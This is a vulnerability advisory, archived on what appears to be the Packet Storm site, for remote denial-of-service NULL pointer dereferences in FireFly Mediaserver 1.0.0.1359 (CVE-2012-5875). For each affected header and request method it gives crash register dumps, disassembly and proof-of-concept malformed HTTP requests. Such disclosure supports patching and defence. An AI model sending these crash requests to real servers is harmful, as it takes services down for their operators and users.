exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FireFly Mediaserver 1.0.0.1359 NULL Pointer Dereference

FireFly Mediaserver 1.0.0.1359 NULL Pointer Dereference
Posted Dec 20, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

FireFly Mediaserver version 1.0.0.1359 suffers from a denial of service vulnerability that can be triggered by a NULL pointer dereference.

tags | exploit, denial of service
advisories | CVE-2012-5875
SHA-256 | 32f710929128a837905de7371632750aecfb1f0c76e6463bedec86ca624602c7

FireFly Mediaserver 1.0.0.1359 NULL Pointer Dereference

Change Mirror Download
Advisory ID: HTB23129
Product: FireFly Mediaserver
Vendor: FireFly
Vulnerable Version(s): 1.0.0.1359 and probably prior
Tested Version: 1.0.0.1359 in Windows 7 SP1
Vendor Notification: November 21, 2012
Public Disclosure: December 19, 2012
Vulnerability Type: NULL Pointer Dereference [CWE-476]
CVE Reference: CVE-2012-5875
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple remote denial of service (DoS) vulnerabilities in FireFly MediaServer, which could be exploited by a malicious person to crash a remote server.


1) Multiple NULL pointer dereference vulnerabilities in Firefly MediaServer: CVE-2012-5875

1.1 The vulnerability exists due to improper handling of the HTTP CONNECTION header within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port (FireFly's server default port) with improper CONNECTION header value, leading to a NULL pointer dereference that will cause vulnerable server to crash immediately.

Crash Details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx_xxxx_ (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> n 0n-us,en;q=0.5U) (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx_xxxx_ (stack)
ESI: 0175eef5 ( 24506101) -> 0n-us,en;q=0.5U) (stack)
EBP: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
ESP: 0175eed0 ( 24506064) -> u0p xxxxxxx_xxxx_n 0n-us,en;q=0.5U) (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vpx@ (stack)
+0c: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl


Proof of Concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: vulnhost.local
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: xxxxxxx_xxxx_
Referer: http://www.host.com



1.2 The vulnerability exists due to improper handling of the ACCEPT-LANGUAGE, USER-AGENT and HOST HTTP header parameters within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to port 9999/TCP with a malformed header containing a control character of return carriage ("\r\n") that will cause a NULL pointer dereference and immediate termination of the vulnerable server.

The following examples demonstrate the vulnerabilities:

a) ACCEPT-LANGUAGE

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> nguage /5.0 (Windows; U) (stack)
EDI: 0175eee8 ( 24506088) -> (stack)
ESI: 0175eefa ( 24506106) -> /5.0 (Windows; U) (stack)
EBP: 00708830 ( 7374896) -> p3xxpppHFF (heap)
ESP: 0175eed0 ( 24506064) -> u0pguage /5.0 (Windows; U) (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vp x (stack)
+0c: 00708830 ( 7374896) -> p3xxpppHFF (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: somehost.com
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us
en;q=0.5
\r\n
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



b) USER-AGENT

Crash details

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> t t (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx(stack)
ESI: 0175eef5 ( 24506101) -> t (stack)
EBP: 007087d8 ( 7374808) -> p>ppPp<p (heap)
ESP: 0175eed0 ( 24506064) -> upxxxxxxxt t (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 007087d8 ( 7374808) -> p>ppPp<p (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: somehost.com
User-Agent:
xxxxxxx
\r\n
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



c) HOST

Crash Details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 0175eeef ( 24506095) -> (stack)
EBP: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: xxxxxxx\r\n
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



1.3 The vulnerability exists due to improper handling of the HTTP POST and GET methods within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port with an improper HTTP POST or GET request containing an erroneous HTTP protocol version, or one or more control characters of return carriage ("\r\n") leading to a NULL pointer dereference that will cause the vulnerable server to crash immediately.

The following examples demonstrate the vulnerabilities:

a) HTTP POST

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 007087d8 ( 7374808) -> ppPpatp (heap)
ESP: 0175eed0 ( 24506064) -> upxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 007087d8 ( 7374808) -> ppPpatp (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,b


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

POST /index.html HTTP/
xxxxxxxx
.1



b) HTTP GET

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 00708830 ( 7374896) -> p!pppHFF#) (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!pppHFF#) (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A


Disasm around:

0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl


Proof of concept #1:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET /index.html HTTP/xxxxxxxx.1


Proof of concept #2:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET /index.html HTTP/
xxxxxxxx.1




-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23129 - https://www.htbridge.com/advisory/HTB23129 - Firefly MediaServer Multiple Remote DoS vulnerabilities.
[2] Firefly - http://www.fireflymediaserver.org - Firefly MediaServer distributes your music, videos and photos easily over your network.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close